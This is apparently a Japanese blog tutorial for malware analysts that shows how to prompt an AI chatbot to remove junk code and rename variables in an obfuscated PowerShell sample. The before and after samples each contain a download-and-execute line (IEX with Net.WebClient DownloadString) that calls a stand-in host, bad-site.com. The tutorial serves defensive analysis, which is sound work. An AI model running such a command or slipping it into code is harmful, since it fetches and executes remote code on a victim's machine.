[実践]「このコード、ゴミですか?」🗑️ AIでジャンクコードを削除し、変数名をきれいに変更する ✨

セキュリティアナリストの皆さん、こんにちは! 🕵️‍♀️

前回は、巨大な難読化コードをAIが消化しやすいように「一口サイズ(Chunk)」に分割する方法を学びました。今度は、その切り出した断片をAIに与えて分析する番ですが…ちょっと待ってください! ✋

攻撃者が投げつけてきたコードは、まさに「ゴミ捨て場(Junk Yard)」です。

意味のない数学演算、実行されないif文、asdfのような無意味な変数名が入り混じっています。これをそのまま分析しようとすると、私たちの貴重な脳細胞が死んでしまいます。🤯

今日は、AIという「清掃員」を雇って、この混乱をきれいに整理する実習をしてみましょう。

ダミーコード(Junk Code)の削除と変数名の置換(Renaming)、この2つをうまくこなすだけで、分析速度が5倍は速くなります! 🚀


1. ダミーコード(Junk Code)とは? 🗑️

マルウェア作成者は、アナリストを混乱させるために意図的に「時間浪費用コード」を仕込みます。

  • 意味のない繰り返し文: for (i=0; i<10000; i++) { a = a + 1; a = a - 1; } (結局元に戻る)
  • デッドコード (Dead Code): 絶対に実行されることのない if (1 == 2) ブロック
  • 偽の変数: 実際の悪意ある動作とは全く関係のない文字列

人間が見ると「あれ?これ重要な計算かな?」と思って見てしまいますが、コンピューターにとっては電気代の無駄でしかありません。私たちはAIに「結果に影響しないものは全部消して!」と指示します。


2. 変数名の置換(Renaming)はなぜするの? 🏷️

$x = “http://…”

$y = “download”

これくらいならまだましです。マルウェアは通常、$xkqzw、$__var_01 のように暗号のような変数名を使います。コードが長くなると「さっきの$xkqzwって何だったっけ?」と記憶力を試されることになります。

私たちはAIに「文脈を見て適切なラベルを付け直して!」と依頼します。

($xkqzw ➡️ $malicious_url)

3. [実践] ゴミ捨て場の清掃開始! 🧹

さあ、ここに攻撃者が作成したPowerShell難読化コードサンプル(チャンク)があります。一見してごちゃごちゃしていますよね?

🤮 [Before] 汚染されたコード(難読化状態)

# 難読化されたコードスニペット
$a = 100;
$b = 200;
$c = $a + $b; # 意味のない計算
For ($i=0; $i -lt 50; $i++) { $c++ } # 時間浪費ループ

$w_str = "N" + "e" + "w" + "-";
$x_val = "Ob" + "je" + "ct";
$y_net = "Net.WebClient";

If (100 -gt 500) { Write-Host "This never runs" } # デッドコード

$z_final = $w_str + $x_val; # "New-Object"
$target = "http://bad-site.com/malware.exe";

# 実際にはここでダウンロードが発生
IEX (New-Object $y_net).DownloadString($target);

それでは、AI(ChatGPTなど)にプロンプトを入力してみましょう。


🗣️ [Prompt] AIに命令する

役割: あなたは熟練したコードリファクタリングの専門家であり、セキュリティアナリストです。

>

状況: 私は悪意のあるコードと疑われるPowerShellスクリプトの一部を分析しています。コードが難読化されており、可読性が非常に低いです。

>

要求事項:

>

1. ダミーコードの削除 (Junk Code Removal): プログラムの最終実行結果(動作)に影響を与えない不要な演算、繰り返し文、デッドコード(Dead Code)をすべて削除してください。

2. 変数名の置換 (Renaming): $w_str、$x_valのような無意味な変数名を、その変数が保持するデータや役割に合わせて直感的な英語名(例: $cmd_prefix、$c2_url)に変更してください。

3. コメントの追加: 変更されたコードの各行が何を意味するのか、日本語のコメントを付けてください。

>

コード:

>

(上記の[Before]コードをここに貼り付け)


✨ [After] AIが清掃したコード

AIが清掃を終えると、以下のような「天国のようなコード」が出てきます。

# クリーンアップされたコード (Cleaned Version)

# [1] 攻撃コマンドの組み立て ("New-Object")
$cmd_part1 = "New-";
$cmd_part2 = "Object";
$cmd_full = $cmd_part1 + $cmd_part2; 

# [2] .NET Webクライアントオブジェクト名
$web_client_class = "Net.WebClient";

# [3] 悪性ファイルダウンロードURL (C2サーバー)
$malware_url = "http://bad-site.com/malware.exe";

# [4] 最終実行: Webクライアントを作成し、悪性スクリプトをダウンロードして実行
# オリジナル: IEX (New-Object $y_net).DownloadString($target);
IEX (New-Object $web_client_class).DownloadString($malware_url);

🔍 何が変わったのでしょうか?

  1. ゴミの焼却: 冒頭にあった$a、$b、$cの計算と意味のないForループ、実行されないIf文がすべて消えました。
  2. ラベルの交換:
  • $w_str ➡️ $cmd_part1
  • $target ➡️ $malware_url
  • これでコードを読むだけで、「ああ、New-Objectを作成してmalware.exeをダウンロードしているんだな」とすぐに理解できます!

4. 注意事項とヒント 🍯

  • ⚠️ 削除しすぎないでください: 時々、AIが重要なロジックまで「これ必要ないように見えますが?」と言って削除してしまうことがあります(Over-cleaning)。
  • ヒント: AIに「元のロジックを損なわない範囲で整理して」と強調するか、結果のコードを元のコードと比較して、重要な関数呼び出しが消えていないか必ず目視で確認(Cross-Check)してください。
  • 🔄 段階的に進めてください: 一度に「解釈して、短くして、レポートを書いて」とAIに要求すると、AIが混乱します。
  1. ダミーコードの削除&変数名の変更(今日行ったこと)
  2. ロジックの解釈
  3. レポートの作成
  • このように段階を分ける方がはるかに正確です。

🎉 まとめ

今日、私たちはAIの力を借りて、ごちゃごちゃだったコードをきれいに整理しました。

まるで散らかった部屋を掃除したら、失くしていた物(悪意ある動作の核心)がはっきりと見えてくるような感覚ではないでしょうか? 😎

きれいになったコードを基に、次回は「デオブファスケーション(Deobfuscation)」、つまり絡み合った文字列を平文に完全に解読し、コメントを付ける高度なプロセスに進みます。

アナリストの皆さん、今日も快適な分析を! 👋



Comments

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です